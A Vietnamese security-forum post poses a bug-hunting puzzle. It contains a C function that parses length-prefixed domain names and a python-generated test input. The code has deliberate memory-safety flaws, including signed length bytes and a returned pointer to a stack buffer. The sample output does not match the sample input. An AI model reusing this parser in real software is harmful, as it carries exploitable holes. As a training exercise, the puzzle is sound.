Để chạy thử theo đúng ý đồ của chương trình, các bạn phải nhập vào một Pascal string có dạng như sau: mỗi phần trong domain name sẽ được bắt đầu bằng một byte đánh dấu độ dài của nó; domain name kết thúc khi gặp một phần có độ dài là 0. Ví dụ như domain vnhacker.org thì các bạn phải nhập như sau:
./puzzle7 "`python -c 'print "\x08" + "vnhacker" + "\x03" + "org" + "\x00"'`"
your domain is: vinagame.com
Nói cách khác, để chỉ ra lỗi bài này, trước tiên các bạn phải giả sử là domain name nhập vào chắc chắn phải theo format này, tự vì các bạn nhập khác đi, chương trình nó sẽ chạy bị lỗi.
Code:
#include <stdlib.h>
#include <stdio.h>
#define MAX_LEN 256
char* get_domain(char* input) {
int c;
char name[MAX_LEN];
memset(name, '\0', sizeof(name));
c = (char)*input;
while (c) {
if ( strlen(name) + c < (MAX_LEN - 1) ) {
(char *)input++;
strncat(name, (char *)input, c);
input += c;
c = (char)*input;
strcat(name, ".");
} else {
fprintf(stderr, "something wrong happened!\n");
c = 0;
}
}
name[strlen(name)-1] = '\0';
return name;
}
int main(int argc, char **argv) {
if (argc != 2)
exit(0);
char* domain = (char *) get_domain(argv[1]);
printf("your domain is: %s\n", domain);
return 0;
}
|
|
|
|
|
|
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|